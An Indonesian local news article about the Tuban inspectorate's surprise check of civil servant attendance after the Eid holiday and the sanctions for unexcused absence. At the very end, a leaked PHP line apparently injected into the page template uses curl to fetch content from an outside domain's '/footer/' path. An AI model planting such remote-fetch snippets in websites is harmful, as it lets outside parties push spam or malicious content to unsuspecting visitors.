Pasca Libur Lebaran, Inspektorat Sidak Kehadiran ASN

Selasa, 18 Mei 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Tuban  | Jejakkasus.info – Inspektorat Kabupaten Tuban yang terbagi menjadi 5 tim menggelar inspeksi mendadak (sidak) menyasar seluruh OPD di Kabupaten Tuban, Senin (17/05/2021).

Salah satunya tim yang dipimpin Inspektur Pembantu Wilayah II, Rustami Harjanto mengunjungi Dinas Kominfo Kabupaten Tuban.

Dilangsir dari Media Center, Inspektur Pembantu Wilayah II, Rustami Harjanto mengungkapkan sidak dimaksudkan untuk mengevaluasi kehadiran ASN pasca libur hari raya Idul Fitri 1442 H untuk memastikan tiap aparatur sebagai pengerak roda pemerintahan telah kembali bertugas. Sekaligus mendata bagi yang ijin atau cuti.

Baca Juga:  Yayasan Budha Tzu Chi Bareng Forkopimda Tuban Salurkan 30 ton Beras

“Jika memang ada yang berhalangan hadir harus melengkapi berkas yang dipersyaratkan sesuai aturan yang berlaku,” ungkapnya.

Baca Juga:  Peringatan HGN dan HUT PGRI ke-76, Witono: PGRI Rumah Besar Perjuangan

Adapun sasaran sidak mencakup PNS, PPPK, dan NON-PNS. Hasil pemantauan akan dilaporkan ke masing-masing Kepala OPD, Inspektur Inspektorat dan Sekda Tuban.

Lebih lanjut, jika ditemukan ASN yang tidak hadir tanpa keterangan akan dikenakan sanksi. Sanksi yang dibebankan mulai dari teguran lisan, teguran tertulis maupun sanksi administratif lainnya.

Baca Juga:  Terharu Melihat Kondisi Warganya, Bhabinkamtibmas Polsek Rengel Polres Tuban Berikan Kursi Roda

“Sanksi administratif berupa penundaan kenaikan berkala hingga penurunan pangkat,” jelasnya.

Rustami menambahkan kedisiplinan ASN dapatnya terus ditingkatkan. Terutama pada masa Pandemi Covid-19, meski tidak diberlakukan finger print maupun check lock, ASN Pemkab Tuban diharapkan menjaga integritasnya dengan berdisiplin yang muncul dari benak tiap aparatur. (IMM/mct*)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara
Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan
Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali
DPP KAMPUD Beri Dukungan Kinerja Dan Apresiasi Kepada JPN Kejari Bandar Lampung
Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat
Kasus Camat Negeri Katon Langgar Netralitas ASN pada Pilkada Kini Ditangani Polisi
Sudah Berkerja Nyata,WN 88 Deklarasi Dukung Paslon 01 di Pilkada 2024, Kami Siap Menangkan Nanang-Antoni
Musrenbang 2025 Pekon Wayngison Resmi Dibuka
Tag :

Berita Terkait

Sabtu, 12 Oktober 2024 - 20:32 WIB

Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara

Sabtu, 12 Oktober 2024 - 18:48 WIB

Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan

Jumat, 11 Oktober 2024 - 23:50 WIB

Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali

Jumat, 11 Oktober 2024 - 19:08 WIB

DPP KAMPUD Beri Dukungan Kinerja Dan Apresiasi Kepada JPN Kejari Bandar Lampung

Jumat, 11 Oktober 2024 - 14:45 WIB

Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>